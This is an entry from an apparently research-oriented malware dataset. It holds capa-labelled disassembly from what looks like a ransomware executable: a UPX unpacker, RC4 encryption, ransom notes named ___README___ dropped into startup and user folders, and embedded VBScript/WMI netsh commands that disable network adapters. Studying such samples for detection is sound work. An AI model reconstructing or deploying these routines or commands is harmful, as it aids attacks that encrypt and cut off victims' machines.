joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407349
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.00406add
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00406a92
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosd dword es:[edi], eax

Function at 0x4073b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
invalid
test dword [esi - 4], ecx
Function at 0x5169f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc0000]
push edi
jmp 0x516a0a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x516a11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x516a00
mov eax, 1
add ebx, ebx
jne 0x516a23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x516a34
jne 0x516a53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x516a53
dec eax
add ebx, ebx
jne 0x516a40
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x516a18
add ebx, ebx
jne 0x516a4f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x516aa5
xor ecx, ecx
sub eax, 3
jb 0x516a6b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x516ada
sar eax, 1
mov ebp, eax
jmp 0x516a76
add ebx, ebx
jne 0x516a76
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x516a44
inc ecx
add ebx, ebx
jne 0x516a84
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x516a44
add ebx, ebx
jne 0x516a91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x516a86
jne 0x516aa2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x516a86
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x516ac4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x516ab6
jmp 0x516a06
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x516ac4
add edi, ecx
jmp 0x516a06
pop esi
mov edi, esi
mov ecx, 0x3ee5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x516ae2
cmp byte [edi], 0x11
jne 0x516ae2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x516ae7
lea edi, [esi + 0x10f000]
mov eax, dword [edi]
or eax, eax
je 0x516b5f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x154524]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1546a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x516b14
mov ecx, edi
jns 0x516b43
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1546a4]
or eax, eax
je 0x516b59
mov dword [ebx], eax
add ebx, 4
jmp 0x516b31
call dword [esi + 0x1546b4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x516b90
cmp al, 0xef
ja 0x516b83
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x516b65
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x516b72
mov ebp, dword [esi + 0x1546a8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x516bc4
sub esp, 0xffffff80
jmp 0x427f4a
Function at 0x40c1a8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004079ab
mov dword [ebp - 0x14], eax
cmp dword [0x434f80], esi
jne 0x40c29b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c228
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40c37b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40c37b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c37b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x434f80], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x434f84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x434f88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x434f90], eax
test eax, eax
je 0x40c298
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x434f8c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c2c0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c2b3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c2d5
push 4
pop eax
jmp 0x40c37d
cmp dword [ebp - 0x14], esi
je 0x40c2d5
push dword [0x434f80]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c2ba
mov eax, dword [0x434f8c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c333
cmp dword [0x434f90], edi
je 0x40c333
push eax
call ebx
push dword [0x434f90]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c333
test eax, eax
je 0x40c333
call ecx
test eax, eax
je 0x40c328
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c328
test byte [ebp - 8], 1
jne 0x40c333
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c363
mov eax, dword [0x434f84]
cmp eax, edi
je 0x40c360
push eax
call ebx
test eax, eax
je 0x40c360
call eax
mov esi, eax
test esi, esi
je 0x40c360
mov eax, dword [0x434f88]
cmp eax, edi
je 0x40c360
push eax
call ebx
test eax, eax
je 0x40c360
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x434f80]
call ebx
test eax, eax
je 0x40c37b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40c37d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403b15
mov esp, ebp
pop ebp
ret
Function at 0x40187c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
push esi
push ebx
sub esp, 0x200
mov eax, edx
mov byte [ebp + edx - 0x108], dl
and eax, 7
mov al, byte [eax + 0x40b008]
mov byte [ebp + edx - 0x208], al
inc edx
cmp edx, 0x100
jne 0x401889
xor eax, eax
xor ecx, ecx
mov dl, byte [ebp + eax - 0x108]
mov bl, byte [ebp + eax - 0x208]
add ebx, edx
add ecx, ebx
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x108]
mov byte [ebp + ecx - 0x108], dl
mov byte [ebp + eax - 0x108], bl
inc eax
cmp eax, 0x100
jne 0x4018af
xor ebx, ebx
xor edx, edx
xor eax, eax
cmp ebx, dword [ebp + 0xc]
jge 0x401939
inc edx
movzx edx, dl
add al, byte [ebp + edx - 0x108]
mov cl, byte [ebp + edx - 0x108]
movzx eax, al
movzx esi, byte [ebp + eax - 0x108]
mov byte [ebp + eax - 0x108], cl
mov ecx, esi
mov esi, dword [ebp + 8]
mov byte [ebp + edx - 0x108], cl
add cl, byte [ebp + eax - 0x108]
movzx ecx, cl
mov cl, byte [ebp + ecx - 0x108]
xor cl, byte [esi + ebx]
mov esi, dword [ebp + 0x10]
mov byte [esi + ebx], cl
inc ebx
jmp 0x4018e7
add esp, 0x200
pop ebx
pop esi
pop ebp
ret

Function at 0x401944
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x49c
mov esi, dword [ebp + 0xc]
cmp ebx, dword [ebp + 8]
jge 0x401978
mov dword [esp + 4], str.btstrpd
mov eax, dword [esi + ebx*4]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x401a87
inc ebx
jmp 0x401955
xor eax, eax
lea edi, [ebp - 0x414]
mov ecx, 0xff
xor ebx, ebx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x418], ebx
xor edi, edi
lea ebx, [ebp - 0x418]
mov dword [esp + 8], 0x400
mov dword [esp + 4], ebx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
sub esp, 0xc
test eax, eax
je 0x401a87
mov dword [esp + 4], 0x40c06c
mov edi, 1
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
cmp edi, dword [ebp + 8]
jge 0x4019f3
mov eax, dword [esi + edi*4]
mov dword [esp], ebx
inc edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x40c06c
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
jmp 0x4019cc
mov dword [esp + 4], str.btstrpd
lea edi, [ebp - 0x458]
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x40c06c
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
xor eax, eax
mov ecx, 0x10
xor edx, edx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x46c]
mov ecx, 4
mov dword [ebp - 0x45c], 0x44
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x46c]
xor ecx, ecx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x45c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edx
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
test eax, eax
je 0x401a87
xor eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_exit
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401a8f
Capabilities:
Set registry value

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push ebx
xor ebx, ebx
lea eax, [ebp - 0xc]
sub esp, 0x34
mov dword [ebp - 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], ebx
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
test eax, eax
jne 0x401afd
lea eax, [ebp + 0x14]
xor edx, edx
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 4
mov dword [esp + 8], edx
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub esp, 0x18
mov ebx, eax
mov eax, dword [ebp - 0xc]
lea edx, [eax - 1]
cmp edx, 0xfffffffd
ja 0x401b14
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x401b1b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push ebx
xor ebx, ebx
lea eax, [ebp - 0x18]
sub esp, 0x34
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], 4
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
mov ebx, eax
test eax, eax
jne 0x401baa
lea eax, [ebp - 0x10]
xor edx, edx
mov dword [esp + 0x14], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
sub esp, 0x18
mov ebx, eax
test eax, eax
jne 0x401baa
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0x18]
lea edx, [eax - 1]
cmp edx, 0xfffffffd
ja 0x401bbf
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x401c36
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
shr eax, 4
push edx
leave
xor eax, 1
and eax, 1
mov edx, eax
xor eax, eax
inc ecx
cmovne eax, edx
ret
Function at 0x401d12
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x4c
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 4], 0xc0000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
dec eax
sub esp, 0x1c
cmp eax, 0xfffffffd
ja 0x401dec
lea eax, [ebp - 0x20]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
push edx
push edx
je 0x401de6
mov edx, dword [ebp - 0x20]
mov eax, edx
or eax, dword [ebp - 0x1c]
je 0x401de6
lea eax, [edx + 1]
mov dword [ebp - 0x2c], edx
mov dword [esp + 4], eax
mov dword [esp], 1
call sub.msvcrt.dll_calloc
mov esi, eax
test eax, eax
je 0x401de6
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x24]
mov dword [esp + 0xc], eax
mov edx, dword [ebp - 0x2c]
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
je 0x401df0
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov dword [eax], esi
mov eax, dword [ebp - 0x20]
inc eax
mov dword [edx], eax
mov dword [esp], ebx
call edi
mov eax, 1
push ecx
jmp 0x401e00
mov dword [esp], ebx
call edi
push edx
xor eax, eax
jmp 0x401e00
mov dword [esp], ebx
call edi
push eax
mov dword [esp], esi
call sub.msvcrt.dll_free
jmp 0x401dec
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401e08
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
test esi, esi
jne 0x401e25
mov dword [esp], edi
call sub.msvcrt.dll_strlen
mov esi, eax
xor ebx, ebx
xor ecx, ecx
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], 2
mov dword [esp + 4], 0x100004
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor edx, edx
mov ebx, eax
lea eax, [eax - 1]
sub esp, 0x1c
cmp eax, 0xfffffffd
ja 0x401ea3
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
sub esp, 0x14
test eax, eax
setne dl
mov dword [ebp - 0x2c], edx
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
mov edx, dword [ebp - 0x2c]
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401ee0
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push esi
push ebx
sub esp, 0x40
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 1
mov dword [esp], 0x21
call sub.msvcrt.dll_calloc
mov dword [esp + 0x10], 0xf0000000
mov ebx, eax
xor eax, eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], eax
mov dword [esp + 4], eax
lea eax, [ebp - 0x24]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
sub esp, 0x14
test eax, eax
jne 0x401f44
test ebx, ebx
je 0x401f90
mov dword [esp], ebx
call sub.msvcrt.dll_free
jmp 0x401f90
lea eax, [ebp - 0x20]
mov dword [esp + 4], 0x8003
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
sub esp, 0x14
test eax, eax
jne 0x401f97
test ebx, ebx
je 0x401f7c
mov dword [esp], ebx
call sub.msvcrt.dll_free
xor ecx, ecx
mov dword [esp + 4], ecx
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push ebx
push ebx
xor esi, esi
jmp 0x402080
mov dword [esp], esi
call sub.msvcrt.dll_strlen
xor edx, edx
mov dword [esp + 4], esi
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
sub esp, 0x10
test eax, eax
jne 0x401fef
test ebx, ebx
je 0x401fcc
mov dword [esp], ebx
call sub.msvcrt.dll_free
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push eax
push eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push eax
jmp 0x401f90
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x10
xor esi, esi
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x18]
mov dword [esp + 0x10], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 2
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
sub esp, 0x14
mov esi, eax
test eax, eax
je 0x40205a
mov esi, dword [ebp - 0x1c]
xor eax, eax
cmp esi, eax
je 0x402055
mov dl, byte [ebp + eax - 0x18]
mov ecx, edx
and edx, 0xf
shr cl, 4
mov dl, byte [edx + str.0123456789abcdef]
movzx ecx, cl
mov cl, byte [ecx + str.0123456789abcdef]
mov byte [ebx + eax*2 + 1], dl
mov byte [ebx + eax*2], cl
inc eax
jmp 0x40202c
mov esi, 1
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
xor edx, edx
push eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push ecx
push ecx
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
lea esp, [ebp - 8]
mov eax, esi
pop ebx
pop esi
pop ebp
ret
Function at 0x402295
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
xor eax, eax
mov ecx, 0x10
mov ebp, esp
push edi
lea edi, [ebp - 0x48]
sub esp, 0x94
mov dword [ebp - 0x4c], 0x44
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x5c]
mov ecx, 4
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x20], eax
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
test eax, eax
jne 0x402305
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40234b
mov dword [esp + 4], 0x2710
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
push eax
lea eax, [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
push edx
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call edi
push ecx
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call edi
push edi
mov eax, dword [ebp - 0x60]
mov edi, dword [ebp - 4]
leave
ret

Function at 0x402350
Capabilities:
Reference wmi statements

Disassembly:
push ebp
xor eax, eax
mov ecx, 0xff
mov ebp, esp
push edi
lea edi, [ebp - 0x404]
sub esp, 0x414
mov dword [ebp - 0x408], eax
xor eax, eax
cmp dword [ebp + 0xc], 0
rep stosd dword es:[edi], eax
mov edx, dword [ebp + 8]
lea edi, [ebp - 0x408]
jne 0x40239a
cmp dword [ebp + 0x10], 5
ja 0x402390
mov dword [esp + 0xc], str.vbscript:Close_Execute__Set_o__CreateObject___WScript.Shell___:Set_w__GetObject___winmgmts:impersonationLevelimpersonate_._rootcimv2___:Set_c__w.ExecQuery___SELECT__FROM_Win32_NetworkAdapter___:For_Each_a_in_c:o.Run___netsh_interface_set_interface_name____chr_34___a.NetConnectionID__chr_34______admindisabled____0__true:Next___
jmp 0x4023b2
mov dword [esp + 0xc], str.path_win32_networkadapter_where__NetEnabledTRUE__call_disable
jmp 0x4023b2
cmp dword [ebp + 0x10], 5
ja 0x4023aa
mov dword [esp + 0xc], str.vbscript:Close_Execute__Set_o__CreateObject___WScript.Shell___:Set_w__GetObject___winmgmts:impersonationLevelimpersonate_._rootcimv2___:Set_c__w.ExecQuery___SELECT__FROM_Win32_NetworkAdapter___:For_Each_a_in_c:o.Run___netsh_interface_set_interface_name____chr_34___a.NetConnectionID__chr_34______adminenabled____0__true:Next___
jmp 0x4023b2
mov dword [esp + 0xc], str.path_win32_networkadapter_where__NetEnabledFALSE__call_enable
mov dword [esp + 8], edx
mov dword [esp], edi
mov dword [esp + 4], str._s__s
call fcn.00402274
mov dword [esp], edi
call fcn.00402295
add esp, 0x414
pop edi
pop ebp
ret
Function at 0x402581
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
xor eax, eax
mov ecx, 0x40
xor edx, edx
mov ebp, esp
push edi
lea edi, [ebp - 0x108]
sub esp, 0x124
mov dword [ebp - 0x10c], eax
xor eax, eax
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10c]
xor ecx, ecx
mov dword [esp + 0xc], edx
mov dword [esp], ecx
mov dword [esp + 4], edi
mov dword [esp + 8], 0x18
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
sub esp, 0x10
mov dword [esp + 8], edi
xor edi, edi
mov dword [esp + 0xc], str.___README___.hta
mov dword [esp + 4], 0x40c41d
mov dword [esp], 0x40f060
call fcn.004024ec
mov dword [esp + 8], edi
mov eax, dword [ebp + 8]
mov dword [esp], 0x40f060
mov dword [esp + 4], eax
call fcn.00401e08
mov edi, dword [ebp - 4]
leave
ret

Function at 0x402606
Capabilities:
Get common file path

Disassembly:
push ebp
mov ecx, 0x40
xor edx, edx
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x21c]
lea esi, [ebp - 0x220]
push ebx
xor ebx, ebx
mov eax, ebx
sub esp, 0x23c
mov dword [ebp - 0x220], edx
rep stosd dword es:[edi], eax
xor ecx, ecx
xor edi, edi
mov dword [esp + 8], 0x19
mov dword [esp + 0xc], ecx
mov dword [esp], edi
lea edi, [ebp - 0x118]
mov dword [esp + 4], esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor eax, eax
mov ecx, 0x40
mov dword [ebp - 0x11c], eax
mov eax, ebx
sub esp, 0x10
lea ebx, [ebp - 0x11c]
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], str.___README___.txt
mov dword [esp + 8], esi
mov dword [esp + 4], 0x40c41d
mov dword [esp], ebx
call fcn.004024ec
xor eax, eax
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.00401e08
call fcn.004020ed
test eax, eax
je 0x402731
mov dword [esp], eax
mov ebx, eax
call fcn.004020a7
xor edx, edx
mov esi, eax
cmp dword [esi + edx*4], 0
je 0x402721
xor eax, eax
mov ecx, 0x41
lea edi, [ebp - 0x11c]
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], str.___README___.txt
mov dword [ebp - 0x22c], edx
mov eax, dword [esi + edx*4]
mov dword [esp + 4], 0x40c41d
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call fcn.004024ec
xor eax, eax
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call fcn.00401e08
mov edx, dword [ebp - 0x22c]
inc edx
cmp edx, 0x1a
jne 0x4026ba
mov dword [esp], ebx
call sub.msvcrt.dll_free
mov dword [esp], esi
call sub.msvcrt.dll_free
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret